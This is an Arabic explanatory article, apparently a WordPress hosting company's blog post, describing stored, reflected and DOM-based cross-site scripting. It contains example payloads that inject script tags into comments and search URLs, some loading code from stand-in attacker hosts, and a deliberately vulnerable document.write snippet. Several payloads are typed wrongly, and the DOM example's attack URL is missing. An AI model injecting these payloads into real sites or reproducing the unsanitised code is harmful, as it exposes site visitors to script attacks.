أنواع هجمات البرمجة النصية عبر المواقع (XSS)

نشرت: 2022-11-04

في مقالنا السابق حول WordPress و Cross-Site Scripting ، أخذنا نظرة عالية المستوى لماهية هذه الأنواع من الهجمات وكيف يمكنك منعها. في هذه المقالة ، سوف نتعمق في بعض التفاصيل جنبًا إلى جنب مع بعض أمثلة البرمجة النصية عبر المواقع. لنذهب!

XSS المستمر

يعد XSS المستمر (أو XSS المخزن) أحد الأنواع الرئيسية للبرمجة النصية عبر المواقع. يطلق عليه اسم مستمر لأن ما يحقنه المهاجم يتم تخزينه على الخادم بشكل دائم لاستخدامه لاحقًا. عندما ينتقل زائر إلى صفحة معينة ، يتم تنفيذ الشفرة بواسطة المتصفح عند التحميل أو عند استدعاء وظيفة معينة.

مثال XSS المستمر :

لنفترض أنه في قسم التعليقات أسفل المنشور ، يقوم شخص ما بإدخال نص تنبيه مع إجابة / رأي بسيط.

 Great solution! It works for me.<script>alert("Some text message")</script>

إذا كان قسم التعليقات ضعيفًا ولم يتم تطهير التعليقات التي تم إرسالها ، فسيتم حفظ هذا الرمز في قاعدة البيانات. نتيجة لذلك ، من الآن فصاعدًا ، كلما تم تحميل الصفحة (بواسطة أي شخص) وكان "التعليق السيئ" مرئيًا جنبًا إلى جنب مع جميع التعليقات ، ستظهر نافذة منبثقة مع الرسالة.

بالطبع ، قد تكون رسالة التنبيه مزعجة ولكنها ليست ضارة حقًا. ولكن ، ماذا يحدث إذا قام المهاجم بإدراج برنامج نصي ضار بدلاً من رسالة التنبيه مثل هذا:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

بدلاً من ظهور نافذة منبثقة مزعجة ، سيواجه المستخدم النهائي هجوم XSS. يعتمد الضرر على نوع الكود المنفذ. هذا هو السبب في أن هجمات Stored XSS تعتبر خطيرة للغاية. يهاجمون كل مستخدم ولا يطلبون حتى أي مدخلات من المستخدم (شريط يفتح الصفحة في المقام الأول).

XSS غير ثابت

على الرغم من أنها ليست خطيرة مثل XSS المستمر ، إلا أن XSS غير المستمرة (أو العاكسة) لا تزال تمثل مشكلة ، ليس أقلها أنه تم التعرف عليها على أنها النوع الأكثر شيوعًا من هجمات البرمجة النصية عبر المواقع.

بشكل أساسي ، ما يحدث في هجوم XSS غير المستمر هو أن ينقر المستخدم النهائي على رابط ضار سيرسله إلى موقع ويب آخر سيؤدي إلى تنفيذ بعض التعليمات البرمجية السيئة. يتم تنفيذ الهجوم من خلال عنوان URL أو معلمات HTTP ولا يتم حفظها بشكل دائم في قاعدة البيانات كما هو الحال في Persistent XSS.

ولكن قبل تنفيذ هجوم غير متواصل ، يتعين على المهاجم تحديد ما إذا كان موقع الويب عرضة لهجمات XSS. تتمثل إحدى طرق القيام بذلك في استخدام محرك البحث الداخلي للموقع. إذا أدخلت سلسلة ، دعنا نقول "أحذية" للبحث عنها والضغط على الزر ، يتم تنفيذ وظيفة تبدو كالتالي:

 http://exampledomain.com?query=shoes

قبل تشغيل الوظيفة ، على الرغم من ذلك ، يتم تطهير السلسلة التي أدخلتها ، أو على الأقل يجب أن تكون كذلك ، بحيث يكون نموذج البحث في مأمن من المدخلات الضارة.

يمكن للمهاجم استخدام نموذج البحث ومحاولة إدخال نص مثل هذا:

 <script type="text/javascript">alert("vulnerable");</script>

إذا لم يتم تطهير النموذج ، فسيتم تشغيل الوظيفة بشكل طبيعي:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

سيؤدي هذا (في هذا المثال) إلى عرض نافذة التنبيه المنبثقة. هذا عندما يعرف المهاجم أن نموذج البحث به ثغرة XSS.

مثال XSS غير ثابت

في حالة اكتشاف ثغرة أمنية على أحد المواقع ، قد يختار المهاجم إنشاء عنوان URL يبدو كالتالي:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

ثم يقومون بإخفاء عنوان URL بحيث لا يبدو رابطًا "سيئًا" ويحاولون تشجيع الآخرين على النقر عليه. عادةً ما يكون هذا هو إرسال رسائل البريد الإلكتروني العشوائية أو ربما تضمين ارتباط في منتدى.

XSS المستندة إلى DOM

أثناء حادث XSS المستند إلى DOM (أو XSS من جانب العميل) ، يتم تمرير الهجوم عبر عنوان URL يحتوي على التعليمات البرمجية الضارة.

تعتبر أيضًا ثغرة أمنية من جانب العميل حيث يتم تنفيذها في متصفح الضحية ، ولكن ما يحدث هنا هو تغيير جزء من DOM ، مما يتسبب في قيام العميل بتشغيل التعليمات البرمجية دون موافقته.

استضافة موقع الويب الخاص بك مع Pressidium

ضمان استرداد الأموال لمدة 60 يومًا

اطلع على خططنا

ملاحظة: نموذج كائن المستند (DOM) هو واجهة تحدد بنية تخطيط صفحة الويب عن طريق توصيل لغة البرمجة النصية بصفحة الويب الفعلية. لإنجاز ذلك ، يسمح للمطورين بالوصول إلى المستند وتنفيذ العمليات لتحديث المحتوى.

مثال XSS المستند إلى DOM:

يمكن عرض مثال على هجوم البرمجة النصية عبر المواقع المستندة إلى DOM بنموذج يسمح لك باختيار خيار ، مثل بلد إقامتك. دعونا نرى كيف يمكن أن يحدث هذا مع المثال أدناه:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

لذلك ، يمكن الوصول إلى صفحة بها خيار محدد في النموذج عبر عنوان URL مثل:

 http://localhost/?country=Lithuania

ولكن إذا حاولت إدخالًا مثل هذا (انظر أدناه) ، فسيقوم المتصفح بإنشاء كائن DOM يحتوي على هذه السلسلة وتنفيذ البرنامج النصي.

 http://localhost/?country=Lithuania

يحدث ذلك لأن النموذج غير محمي وأن الكود الأولي ليس جاهزًا لأي ترميز HTML. لذا فإن ما يفعله هو رسم DOM في الصفحة وتشغيل البرنامج النصي الضار.

هجمات XSS شائعة جدًا. هناك طريقة بسيطة لحماية نفسك على أفضل وجه ممكن وهي الحفاظ دائمًا على تحديث المكونات الإضافية على موقع WordPress الخاص بك واستخدام مضيف عالي الجودة. نأمل أن تكون هذه الأمثلة قد أعطتك فكرة عن كيفية عمل هذه الأنواع من الهجمات وما الذي تبحث عنه!